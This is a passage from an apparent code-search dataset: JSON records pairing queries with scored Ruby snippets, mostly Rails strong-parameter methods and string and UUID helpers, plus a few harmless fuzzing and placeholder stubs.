allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
2da6021d12ab57cac570608656147482
=> "uv" because uqrssrqvtt > uqrrqvtt > uqqvtt > uvtt > uv ARRANGE I AM HAPPYYYYYYYYYYYYY !!!!!!
[ { "docid": "e294a27b34ff50234d8c3f95ea4de325", "score": "0.0", "text": "def same_char_collapse(str)\n\n counter = Hash.new(0)\n str.each_char do |char|\n counter[char] += 1\n end \n\n unique = []\n counter.each_key do |k|\n unique << k+k\n end \n\n new = {}\n unique.each do |ele|\n new[ele] = str.include?(ele)\n end\n\n while new.has_value?(true)\n i = 1\n temp = []\n while i < str.length - 1\n \n pre_char = str[i-1]\n now_char = str[i]\n \n if pre_char != now_char\n temp << pre_char\n i += 1\n else\n temp << str[i+1..-1]\n #i = str.length\n break\n end \n end \n\n str = temp.join(\"\")\n temp = []\n\n unique.each do |ele|\n new[ele] = str.include?(ele)\n end\n end \n return str\nend", "title": "" } ]
[ { "docid": "606402ec6a132a6e962e3a3d7bc5fff4", "score": "0.5544591", "text": "def check_range_name str\n return downcase_keys(list_ranges)[str.downcase]\n rescue => e\n raise SystemError, \"Can't check drupal database for embargo ranges\"\n end", "title": "" }, { "docid": "8a61c2932407f9b19f1d817960976a4d", "score": "0.5377879", "text": "def accept_ranges(range)\n \"bytes\" unless range == false\n end", "title": "" }, { "docid": "c3cf0dabc454c56c6f6e4b3992cc2b5f", "score": "0.53606147", "text": "def exploit_range(range)\n return \"Not Implemented\"\n end", "title": "" }, { "docid": "52784ca6e2ac9eab9f76a40cbad912e1", "score": "0.52898055", "text": "def resolve_uuid(uuid_or_name) \n return uuid_or_name if UUID.validate(uuid_or_name)\n if uuid_or_name.chr == 'U'\n return uuid_or_name[1..-1] \n else\n return uuid_names[uuid_or_name.to_sym]\n end\n end", "title": "" }, { "docid": "70a68d463c2b06066d5d62180480214f", "score": "0.5147485", "text": "def uu_range_check(c)\n case c\n when 0..0x40\n c == 0 ? \"`\" : (c + 0x20).chr # replace \" \" to \"`\"\n when \" \"..\"`\"\n \"%06B\" % ((c.ord ^ 0x20) & 0x3f)\n else\n nil\n end\n end", "title": "" }, { "docid": "1642abc58268da4fa625c10d40a0b8cf", "score": "0.5083179", "text": "def message(_range = T.unsafe(nil)); end", "title": "" }, { "docid": "d84b6a4cc87e92a53bfcd5934ddff5cb", "score": "0.50576323", "text": "def mutate_nucleotide( old_nuc, poly )\n\n poly.include?(old_nuc) ? poly.find{ |nuc| nuc != old_nuc } : nil\n\n end", "title": "" }, { "docid": "aa016576f8924acdb488b70d673e578f", "score": "0.5014745", "text": "def _U\n\n _save = self.pos\n while true # choice\n _tmp = _letter(\"u\", \"U\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\u\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_U unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "367f60254d7ebac3eb70ca1f8b7d58fe", "score": "0.49882722", "text": "def nObfu(str)\r\n\t\treturn str\r\n\tend", "title": "" }, { "docid": "105e3b3d90d90bf472076757db03b5d8", "score": "0.49493548", "text": "def nObfu(str)\r\n return str\r\n end", "title": "" }, { "docid": "338998b6fe84e3ddd9ab3745021c0653", "score": "0.4885711", "text": "def vowel_change(s)\r\n vowels = \"aeiou\"\r\n if s[-1] == \"u\" \r\n vowels[0]\r\n else\r\n vowels[vowels.index(s).succ]\r\n end\r\nend", "title": "" }, { "docid": "309d7c7137c9536c9a83842bc08761a5", "score": "0.4793071", "text": "def utf8_ranges( range )\n ranges = []\n UTF8_BOUNDARIES.each do |max|\n if range.begin <= max\n if range.end <= max\n ranges << range\n return ranges\n end\n\n ranges << (range.begin .. max)\n range = (max + 1) .. range.end\n end\n end\n ranges\nend", "title": "" }, { "docid": "003e075c1bdb5ed8885de0435c8394f9", "score": "0.47818613", "text": "def clean_range (range)\n\tif range[1,1] == \"m\"\n\t return range + \"onth\"\n else \n return range\n\tend\n end", "title": "" }, { "docid": "d1d5646240504542e20aec226e9ca770", "score": "0.4763267", "text": "def add_unicode_range(range_name)\n\t\t@ranges ||= Array.new\n\t\t@ranges << range_name\n\t\ti = UnicodeRanges.index(range_name)\n\t\tadd_range(i)\n\tend", "title": "" }, { "docid": "349cdb080e936568e6d7b58ab17c53fc", "score": "0.47404176", "text": "def validate_enum_name(name)\n name.gsub(/[-\\s]/, \"_\").sub(/^\\d/, '_\\0')\n end", "title": "" }, { "docid": "6c56cfe38c0883af49c976655ade1ed5", "score": "0.47284988", "text": "def test_simple_range_versus_char\n g = Grammar.new(\"lexer grammar t;\\n\" + \"A : 'a'..'z' '@' | 'k' '$' ;\")\n g.create_lookahead_dfas\n expecting = \".s0-'k'->.s1\\n\" + \".s0-{'a'..'j', 'l'..'z'}->:s2=>1\\n\" + \".s1-'$'->:s3=>2\\n\" + \".s1-'@'->:s2=>1\\n\"\n check_decision(g, 1, expecting, nil)\n end", "title": "" }, { "docid": "6b3733ae597a402aa3a52f82e5dac6a3", "score": "0.47277477", "text": "def convert_input(str)\n NUMS.index(str)\n end", "title": "" }, { "docid": "0d689c6cb3efb99c65bb1a2ba4d979a4", "score": "0.47117707", "text": "def unicodes_pattern\n $unicodes_pattern ||= Regexp.new(emoji_unicodes.sort_by(&:length).reverse.join(\"|\"))\nend", "title": "" }, { "docid": "d25f80a213b34d48627f097d34b9a613", "score": "0.46978676", "text": "def test_ruby27_range_string\n assert((?a..).end == (5..).end) # (because both are nil)\n assert((?a..).end != (5..Float::INFINITY).end)\n assert((..?a).begin == (..5).begin) # (because both are nil)\n assert((..?a).begin != ((-Float::INFINITY)..5).begin)\n assert_nil (?a..?b).size # Range#size is nil except for Numeric Ranges (specification).\n assert_equal InfF, (..?a).size # Therefore, this contradicts the specification.\n assert_nil (?a..).size\n\n assert_nil (..?a).begin\n assert_raises(RangeError){ (..?a).first} # raise: cannot get the first element of beginless range (RangeError)\n assert_raises(RangeError){ (?a..).last } # raise: cannot get the last element of endless range (RangeError)\n assert_nil (?a..).end\n assert_raises(TypeError){ (..?a).each{}} # raise: `each': can't iterate from NilClass (TypeError)\n assert_raises(TypeError){ (..?a).to_a } # raise: `each': can't iterate from NilClass (TypeError)\n assert_raises(RangeError){(?a..).to_a } # raise: `to_a': cannot convert endless range to an array (RangeError)\n assert_raises(ArgumentError){ (?a..Float::INFINITY).to_a } # raise: bad value for range (ArgumentError) # b/c it is not String!\n end", "title": "" }, { "docid": "438a62e6acc8ec7847dbb8eb685c8e46", "score": "0.46940684", "text": "def unicode_string(length = 50, exclude = \"\")\n # Why are these characters excluded? Well...\n # - \"\\\", \"[\", and \"]\" cause problems with the combination of URI.parse and\n # URI.escape. We can avoid them for these tests, but this may require\n # more server-side monkey-patching for proper support. As a test, try:\n # `URI.parse(URI.escape(\"http://abc.com/\\\\[\"))`\n # - \"'\" causes problems with CLI, since we surround strings with\n # that character.\n # - \"?\" and \"/\" are not currently properly encoded in URLs.\n # Pending a RAZOR-334 fix, this can be removed.\n exclude = (exclude + \"\\\\?/'[]\").split(//).map(&:ord)\n min = 32\n (1..length).map do |index|\n max = 45295\n # Prioritize potentially problematic characters for long strings.\n max = 70 if length > 150 && index < 50\n ord = rand(max - min + 1) + min\n redo if exclude.include?(ord)\n chr = ord.chr('UTF-8')\n redo if is_illegal(chr, index, length)\n chr\n end.join.tap do |string|\n step \"Using unicode string of #{string}\"\n end\nend", "title": "" }, { "docid": "1e986844114ced543e69ab2606b5cdc6", "score": "0.46833128", "text": "def id_to_name(id)\n return 'unclusterable' if id == -1\n return 'ignorable' if id == -2\n\n id.to_s\nend", "title": "" }, { "docid": "e091f05992259c86396253b2512c8da7", "score": "0.4676334", "text": "def safe_name\n @safe_name ||= Unicode.normalize_KD(name).unpack('U*').select {|cp| cp < 127}.pack('U*').downcase\n end", "title": "" }, { "docid": "b46184cca22d2f8d2238ae336b9e8108", "score": "0.46738353", "text": "def test_ssm_range_inv\n %w(ipv4).each do |afi|\n create_single_invalid_ssm_range_single_vrf(afi)\n end\n end", "title": "" }, { "docid": "410eba6cdb514088a0439a01ede453d4", "score": "0.4672671", "text": "def is_valid_uuid(uuid)\n !uuid[/\\H/]\n end", "title": "" }, { "docid": "6f66e7b7076d1cbe4ae8b6ab803cbad7", "score": "0.46607497", "text": "def integer_type_suffix!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 87)\n\n \n # - - - - main rule block - - - -\n # at line 494:3: ( ( 'u' | 'U' )? ( 'l' | 'L' ) | ( 'u' | 'U' ) ( 'l' | 'L' )? )\n alt_13 = 2\n look_13_0 = @input.peek(1)\n\n if (look_13_0 == ?U || look_13_0 == ?u) \n look_13_1 = @input.peek(2)\n\n if (look_13_1 == ?L || look_13_1 == ?l) \n alt_13 = 1\n else\n alt_13 = 2\n end\n elsif (look_13_0 == ?L || look_13_0 == ?l) \n alt_13 = 1\n else\n nvae = NoViableAlternative(\"\", 13, 0)\n raise nvae\n end\n case alt_13\n when 1\n # at line 494:6: ( 'u' | 'U' )? ( 'l' | 'L' )\n # at line 494:6: ( 'u' | 'U' )?\n alt_11 = 2\n look_11_0 = @input.peek(1)\n\n if (look_11_0 == ?U || look_11_0 == ?u) \n alt_11 = 1\n end\n case alt_11\n when 1\n # at line \n if @input.peek(1) == ?U || @input.peek(1) == ?u\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n end\n if @input.peek(1) == ?L || @input.peek(1) == ?l\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n when 2\n # at line 495:6: ( 'u' | 'U' ) ( 'l' | 'L' )?\n if @input.peek(1) == ?U || @input.peek(1) == ?u\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n # at line 495:17: ( 'l' | 'L' )?\n alt_12 = 2\n look_12_0 = @input.peek(1)\n\n if (look_12_0 == ?L || look_12_0 == ?l) \n alt_12 = 1\n end\n case alt_12\n when 1\n # at line \n if @input.peek(1) == ?L || @input.peek(1) == ?l\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n end\n\n end\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 87)\n\n end", "title": "" }, { "docid": "aebcc46fd735ee60c8ea7eb7b934a769", "score": "0.46450368", "text": "def base64_range_check(c)\n case c\n when 0..25\n (65+c).chr # 65.chr == \"A\"\n when 26..51\n (97+c-26).chr # 97.chr == \"a\"\n when 52..61\n (48+c-52).chr # 48.chr == \"0\"\n when 62\n \"+\"\n when 63\n \"/\"\n #---\n when 'A'..'Z'\n (\"%08B\" % (c.ord - 65))[-6, 6]\n when 'a'..'z'\n (\"%08B\" % (c.ord - 97 + 26))[-6, 6]\n when '0'..'9'\n (\"%08B\" % (c.ord - 48 + 52))[-6, 6]\n when '+'\n \"111110\"\n when '/'\n \"111111\"\n else\n nil\n end\n end", "title": "" }, { "docid": "8b37cd71d226ffb4f5f7bfd65b045399", "score": "0.46379134", "text": "def uni(s)\n if s[0,3] == 'uni'\n s.sub(/uni(\\w+)/){[$1.hex].pack('U*')}\n elsif s[0,1] == 'u' && s[0,3] != 'uni'\n s.sub(/u(\\w+)/){[$1.hex].pack('U*')}\n else\n s.sub(/(\\w+)/){[$1.hex].pack('U*')}\n end\nend", "title": "" }, { "docid": "d44015424a9f4cd411675f4ef287c13d", "score": "0.46379063", "text": "def test_ruby27_range01\n num1 = (5..InfF)\n num2 = (5..)\n assert( num1.end != num2.end )\n assert_equal InfF, num1.size\n assert_equal InfF, num2.size\n\n str1 = (?a..)\n assert( str1.end != num1.end )\n assert( str1.end == num2.end )\n assert_nil str1.size, \"For some reason, this is nil in Ruby 3.1\"\n assert_equal InfF, (..?z).size\n end", "title": "" }, { "docid": "2e10240fbb87cb88825c0d5fbaee765d", "score": "0.46204728", "text": "def vowel_validator(name)\n vowel=[\"a\",\"e\",\"i\",\"o\",\"u\"]\n x=0 \n while x<name.length \n y=0 \n while y<vowel.length\n if name[x].downcase==\"u\"\n name[x]=\"a\"\n break \n elsif name[x].downcase==vowel[y].downcase\n z=y+1 \n name[x]=vowel[z]\n break \nelse \n y+=1\nend \nend \nx+=1 \nend \nname\nend", "title": "" }, { "docid": "be01f001975fd10bab703c77af8c21aa", "score": "0.4616396", "text": "def test_gsub_bang_arity\r\n util_gsub_arity(:gsub!)\r\n end", "title": "" }, { "docid": "de77404a0b1c5da34bab7eadd759b933", "score": "0.4613357", "text": "def translate_uuid!\n if ! (x = params[:id]).blank? && (x = x.to_s) =~ /-/\n x = Content.find(:all, \n :conditions => [ 'uuid LIKE ?', x + '%' ],\n :limit => 2)\n x = x.size == 1 ? x.first : nil\n x &&= x.id\n params[:id] = x\n end\n end", "title": "" }, { "docid": "67f32697be834c19ac8f2d06fd5806ed", "score": "0.45954955", "text": "def on_tstring_beg(value); end", "title": "" }, { "docid": "bcd6a4c632cb48b9a296b92dfbdfc254", "score": "0.45909643", "text": "def find_missing_letter(range)\n\t\n last = range.length - 1\n a = range[0]\n b = range[last]\n x = (a..b)\n range = range.chars\n x = x.to_a\n y = x - range\n if y == []\n \tnil\n else\n y.join\n end\n\nend", "title": "" }, { "docid": "a6a826690965179649f4094d086513d4", "score": "0.45820028", "text": "def test_02\n 0.upto(255) do |c|\n if c =~ /[A-Z]/\n s1 = \"~(~c~)\".format(c)\n s2 = c.chr.downcase\n assert_equal(1, s1.length)\n assert_equal(1, s2.length)\n assert_equal(s2[0], s1[0])\n end\n end\n end", "title": "" }, { "docid": "885d1f891b6b2707f208b8a289c6cb90", "score": "0.4581", "text": "def range_limit; end", "title": "" }, { "docid": "aed8699e921c5ba5164c83fa509e097d", "score": "0.45695654", "text": "def test_coerced_test_validate_uniqueness_with_limit_and_utf8\n assert true\n end", "title": "" }, { "docid": "baf099b6c50ab4d1a3b7623d7a5d50f6", "score": "0.4568486", "text": "def uuid_variant\n\t\t\t#return nil if ! uuid\n\t\t\t#return uuid.variant\n\t\t\t\n\t\t\treturn nil if ! valid?\n\t\t\tvar_raw = raw.getbyte(8) >> 5\n\t\t\tret = nil\n\t\t\tif (var_raw >> 2) == 0\n\t\t\t\tret = 0x000\n\t\t\telsif (var_raw >> 1) == 2\n\t\t\t\tret = 0x100\n\t\t\telse\n\t\t\t\tret = var_raw\n\t\t\tend\n\t\t\treturn (ret >> 6)\n\t\tend", "title": "" }, { "docid": "c80063272a62877add6c29971b0f904e", "score": "0.45678395", "text": "def find_missing_letter(range)\n first = range[0] \n last = range[-1] \n string_range = first..last\n range_array = range.split(//)\n string_array = string_range.to_a\n missing = string_array - range_array\n if string_array.length == range.length\n return nil\n elsif \n missing.length == 1 \n missing[0].to_s\n else\n long_string = string_array - range_array\n long_string.join.to_s\n end\n end", "title": "" }, { "docid": "0cf33d00d0f881da6b57b0e941cd6d4c", "score": "0.45625627", "text": "def str_range(str)\r\n # your code goes here\r\nend", "title": "" }, { "docid": "4a24f1040190354827e431295b8b517e", "score": "0.45568988", "text": "def ts_uf value\n\t\t\t\t\t\t\"#{value}\".max_size(2)\n\t\t\t\t\tend", "title": "" }, { "docid": "f5855ce440f3db572b91c768ced473c7", "score": "0.4555874", "text": "def parse_range_header(ranges_specifier)\n if /^bytes=(.*)/ =~ ranges_specifier\n byte_range_set = split_header_value($1)\n byte_range_set.collect{|range_spec|\n case range_spec\n when /^(\\d+)-(\\d+)/ then $1.to_i .. $2.to_i\n when /^(\\d+)-/ then $1.to_i .. -1\n when /^-(\\d+)/ then -($1.to_i) .. -1\n else return nil\n end\n }\n end\n end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.45556566", "text": "def rubbishness(name); end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.45556566", "text": "def rubbishness(name); end", "title": "" }, { "docid": "95dd6918498422b6f9110e01fea30af9", "score": "0.45478648", "text": "def reserved; end", "title": "" }, { "docid": "95dd6918498422b6f9110e01fea30af9", "score": "0.45478648", "text": "def reserved; end", "title": "" }, { "docid": "b187dc389b4d2f15b835b829cd75590e", "score": "0.45468736", "text": "def ensure_correct_encoding!(val); end", "title": "" }, { "docid": "b187dc389b4d2f15b835b829cd75590e", "score": "0.45468736", "text": "def ensure_correct_encoding!(val); end", "title": "" }, { "docid": "ca4897b323f33147de9c95813518f403", "score": "0.45459545", "text": "def test_utf8_replaceInvalidUtf8\n\n # ClippTest converts the resultant IronBee log to ASCII-8BIT.\n # This 3-byte sequence is what the utf8 invalid character \\ufffd,\n # is converted to.\n invalid_char = [0xef, 0xbf, 0xbd].pack('ccc')\n\n clipp(\n modules: %w/ utf8 smart_stringencoders /,\n config: '''\n InitVar \"A\" \"\\xc1\\xa1hello\\xff\"\n ''',\n default_site_config: '''\n Rule A.smart_hex_decode().replaceInvalidUtf8() @clipp_print \"A\" id:1 rev:1 phase:REQUEST\n ''',\n ) do\n transaction do |t|\n t.request(raw: 'GET / HTTP/1.1', headers: { Host: 'a.b.c' })\n t.response(raw: 'HTTP/1.1 200 OK')\n end\n end\n\n assert_no_issues\n assert (@log.index(\"%shello%s\"%[invalid_char, invalid_char]) > 0)\n end", "title": "" }, { "docid": "8dda3bacd5f0f138f9341f3097d523db", "score": "0.45433858", "text": "def strict_match?(casee)\n raise NotImplementedError\n end", "title": "" }, { "docid": "44f56dbd02d99f58aae1f0cb1c9ac01a", "score": "0.45423087", "text": "def range(string)\nstring[1..-1]\nend", "title": "" }, { "docid": "6503f187e5090ee2cfae1cf2d253fb70", "score": "0.4542195", "text": "def find_missing_letter(range)\n #create an empty return string and add each missing letter to it, if they exist, otherwise return nil\n returnstring = ''\n (range[0]..range[-1]).each {|letter| returnstring+=letter if !range.include?(letter)}\n return (returnstring if returnstring.length > 0)||(nil)\nend", "title": "" }, { "docid": "594e9252084cd7bb97a88fb302ad6eab", "score": "0.45397788", "text": "def handle_range?\n false\n end", "title": "" }, { "docid": "805fd06b2a3609957ba449365d425176", "score": "0.45382956", "text": "def uuid_v4; end", "title": "" }, { "docid": "c55157b34f711fe8e666ee205c5cc688", "score": "0.45364317", "text": "def standardize\n\t\t@uuid_[0] = 1285116226\n\t\t@uuid_[1] = 0\n\t\t@uuid_[2] = 0\n\tend", "title": "" }, { "docid": "7d8025e0d93f557209fe88f8a746886b", "score": "0.4527512", "text": "def lookup(string)\n return -1\n end", "title": "" }, { "docid": "790ad66e88d17e809ad78ebaa1747c4a", "score": "0.45071793", "text": "def normalize_param_name(name)\n name = name.gsub(/\\W/, '_')\n name = name.gsub(/IPv4/, 'Ipv4')\n name = ActiveSupport::Inflector.underscore(name)\n if reserved?(name)\n logger.warn { sprintf('Found reserved keyword \\'%1$s\\'', name) }\n name += '_'\n logger.warn { sprintf('Changed to \\'%1$s\\'', name) }\n end\n name\n end", "title": "" }, { "docid": "50a43b4446b2f7c3315e80a424915889", "score": "0.45052868", "text": "def tid\n `uuidgen`.strip.delete('-')[0...6].upcase\nend", "title": "" }, { "docid": "48a68d9fbcab786ef0110419d39bacbf", "score": "0.44970992", "text": "def to_ucs4( range )\n rangestr = \"0x\" + to_hex(range.begin)\n rangestr << \"..0x\" + to_hex(range.end) if range.begin != range.end\n [ rangestr ]\nend", "title": "" }, { "docid": "19dc42e2bdda55bf7b5164b505f44acd", "score": "0.44969356", "text": "def illegal_bases\n self.scan(/[^atgcu]/).sort.uniq\n end", "title": "" }, { "docid": "1110ce2932fddd2a2bdb2098f4bcd3a3", "score": "0.4489819", "text": "def prev_vowel(char)\r\n vowels_arr = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n if char == \"a\"\r\n return \"u\"\r\n elsif char == \"A\"\r\n return \"U\"\r\n elsif char == char.downcase\r\n return vowels_arr[vowels_arr.index(char.downcase) - 1]\r\n else\r\n return vowels_arr[vowels_arr.index(char.downcase) - 1].upcase\r\n end\r\nend", "title": "" }, { "docid": "99ea0c39b0ba8ad226bca63aa7bfba89", "score": "0.44818842", "text": "def uuid_to_uid(uuid)\n uuid = Integer(uuid)\n if uuid >= 0 && uuid <= MAX_UUID\n 10_000 + uuid\n else\n raise RangeError, \"#{uuid} is not within (0..#{MAX_UUID})\"\n end\n end", "title": "" }, { "docid": "eea3f12052e39d4b796567deb2ce65ae", "score": "0.44817248", "text": "def ucharenc(a, i, u)\n case true\n when u <= Uchar1max\n a[i] = (u & 0xff).chr\n 1\n when u <= Uchar2max\n a[i+0] = (Utag2 | ((u>>6)&0xff)).chr\n a[i+1] = (Utagx | (u&Umaskx)).chr\n 2\n when u <= Uchar3max\n a[i+0] = (Utag3 | ((u>>12)&0xff)).chr\n a[i+1] = (Utagx | ((u>>6)&Umaskx)).chr\n a[i+2] = (Utagx | (u&Umaskx)).chr\n 3\n else\n a[i+0] = (Utag4 | ((u>>18)&0xff)).chr\n a[i+1] = (Utagx | ((u>>12)&Umaskx)).chr\n a[i+2] = (Utagx | ((u>>6)&Umaskx)).chr\n a[i+3] = (Utagx | (u&Umaskx)).chr\n 4\n end\n end", "title": "" }, { "docid": "9ade21fbd34fb22bf7ec24cb2fa8af32", "score": "0.4475955", "text": "def rna\n self.tr('t', 'u')\n end", "title": "" }, { "docid": "ce08bdcc1acd1bbb4fe1aab2e4c6b1fa", "score": "0.44757345", "text": "def check_uuid(old_uuid, new_uuid)\n if old_uuid != new_uuid\n raise Error, \"Safety check failed - only run one Model.reindex per model at a time\"\n end\n end", "title": "" }, { "docid": "0ad246b0e86be04a7fc16a2a7b9bb6d2", "score": "0.44669303", "text": "def valid_queue_name(name)\n nil == name.tr('/. ,;:@\"(){}\\\\+=\\'^`#~?[]%|$&<>', '*').index('*')\n end", "title": "" }, { "docid": "d1aab7347f4fd0c990804318794a631e", "score": "0.44636336", "text": "def fuzz_string_corrupt_byte_reverse(str,max=nil)\n\t\tres = []\n\t\t(max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset|\n\t\t\t0.upto(255) do |val|\n\t\t\t\t@last_fuzzer_input = \"fuzz_string_corrupt_byte_reverse offset:#{offset}/#{str.length} byte:#{val}\"\t\t\t\n\t\t\t\tbuf = str.dup\n\t\t\t\tbuf[offset,1] = [val].pack('C')\n\t\t\t\tblock_given? ? yield(buf) : (res << buf)\n\t\t\tend\n\t\tend\n\t\tres\n\tend", "title": "" }, { "docid": "455ea3f3b9b81776a88cf0ebbf80f9b7", "score": "0.4463122", "text": "def louder\n content.upcase\n end", "title": "" }, { "docid": "e1d808ca97388e7aca43d9bcde185379", "score": "0.4455318", "text": "def non_unique_letters(string)\nend", "title": "" }, { "docid": "d05e5fa07e4b037d943a258ef5a759b0", "score": "0.4455317", "text": "def uuid\n valid_range = ('a'..'f').to_a + (0..9).to_a\n desired_lengths = [8, 4, 4, 4, 12]\n uuid = ''\n desired_lengths.each do |length|\n length.times { uuid << valid_range.sample.to_s }\n uuid << '-' unless length == 12\n end\n uuid\nend", "title": "" }, { "docid": "3aec066b3ef26187b6e5cafa4fdba1c8", "score": "0.4455197", "text": "def vowelConverter(v)\n vowels = \"aeiou\"\n if v == vowels[-1]\n vowels[0]\n else \n v_index = vowels.index(v)\n vowels[v_index + 1]\n end\nend", "title": "" }, { "docid": "7155a9503d7dfa428f4494205a82db9e", "score": "0.44537565", "text": "def test_in_time_range_buggy\n input = 